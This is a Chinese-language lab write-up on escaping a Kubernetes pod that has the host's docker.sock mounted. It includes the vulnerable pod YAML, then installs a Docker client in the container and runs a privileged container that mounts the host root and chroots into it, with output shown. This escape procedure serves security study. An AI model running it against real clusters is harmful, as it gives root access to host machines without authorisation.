挂载 docker.sock 导致容器逃逸

漏洞描述

Docker Socket 是 Docker 守护进程监听的 Unix 域套接字,用来与守护进程通信——查询信息或下发命令。如果在攻击者可控的容器内挂载了该套接字文件(/var/run/docker.sock),可通过 Docker Socket 与 Docker 守护进程通信,发送命令创建并运行一个新的容器,将宿主机的根目录挂载到新创建的容器内部,完成简单逃逸。

参考链接:

环境搭建

基础环境准备(Docker + Minikube + Kubernetes),可参考 Kubernetes + Ubuntu 18.04 漏洞环境搭建 完成。

本例中各组件版本如下:

Docker version: 18.09.3
minikube version: v1.35.0
Kubectl Client Version: v1.32.3
Kubectl Server Version: v1.32.0

通过 yaml 文件创建漏洞环境:

kubectl apply -f k8s_metarget_namespace.yaml
kubectl apply -f mount-docker-sock.yaml

执行完成后,K8s 集群内 metarget 命名空间下将会创建一个名为 mount-docker-sock 的 pod,宿主机的 /var/run/docker.sock 被挂载在容器内部:

kubectl get pods -n metarget
-----
NAME                READY   STATUS    RESTARTS   AGE
mount-docker-sock   1/1     Running   0          13s

漏洞复现

通过以下两个步骤来完成简单逃逸:

  1. 在容器内安装 Docker 命令行客户端
  2. 使用容器内的客户端通过 Docker socket 与 Docker 守护进程通信,发送命令创建并运行一个挂载宿主机根目录的容器,实现基本逃逸。

执行以下命令进入容器:

kubectl exec -n metarget -it mount-docker-sock -- bash

在容器内安装 Docker 命令行客户端:

# 先将源替换为中科大源
sed -i 's/archive.ubuntu.com/mirrors.ustc.edu.cn/g' /etc/apt/sources.list
apt update && apt install -y wget

# 然后下载编译好的 docker 客户端
wget https://download.docker.com/linux/static/stable/x86_64/docker-17.03.0-ce.tgz
tar xf ./docker-17.03.0-ce.tgz

成功安装 Docker 客户端:

root@mount-docker-sock:/# cd docker
root@mount-docker-sock:/docker# ls
docker  docker-containerd  docker-containerd-ctr  docker-containerd-shim  docker-init  docker-proxy  docker-runc  dockerd

执行 docker 命令 docker ps,结果和宿主机相同,证实 docker.sock 挂载成功:

root@mount-docker-sock:/docker# ./docker ps
CONTAINER ID        IMAGE                        COMMAND                  CREATED             STATUS              PORTS               NAMES
abf602bae267        602eb6fb314b                 "/bin/bash -c -- '..."   8 minutes ago       Up 8 minutes                            k8s_ubuntu_mount-docker-sock_metarget_75b4ad1b-0193-4008-b559-4dbd7d92cc3f_0
b347f319bf8b        registry.k8s.io/pause:3.10   "/pause"                 8 minutes ago       Up 8 minutes                            k8s_POD_mount-docker-sock_metarget_75b4ad1b-0193-4008-b559-4dbd7d92cc3f_0
...

启动一个挂载宿主机根目录的特权容器,完成简单逃逸:

kubectl exec -n metarget -it mount-docker-sock -- bash
root@mount-docker-sock:/# cd docker
root@mount-docker-sock:/docker# ./docker run -it -v /:/host --privileged --name=sock-test ubuntu /bin/bash
root@5b61ce1ed2ce:/# chroot /host
# cat /etc/hostname
minikube

由于我们是在 minikube 上运行 kubernetes,这里逃逸到的是 minikube 虚拟机。

环境复原

kubectl delete -f mount-docker-sock.yaml
kubectl delete -f k8s_node_proxy.yaml

YAML

mount-docker-sock.yaml

apiVersion: v1
kind: Pod
metadata:
  name: mount-docker-sock
  namespace: metarget
spec:
  containers:
  - name: ubuntu
    image: ubuntu:latest
    imagePullPolicy: IfNotPresent
    # Just spin & wait forever
    command: [ "/bin/bash", "-c", "--" ]
    args: [ "while true; do sleep 30; done;" ]
    volumeMounts:
    - name: docker-sock
      mountPath: /var/run/docker.sock
  volumes:
    - name: docker-sock
      hostPath:
        path: /var/run/docker.sock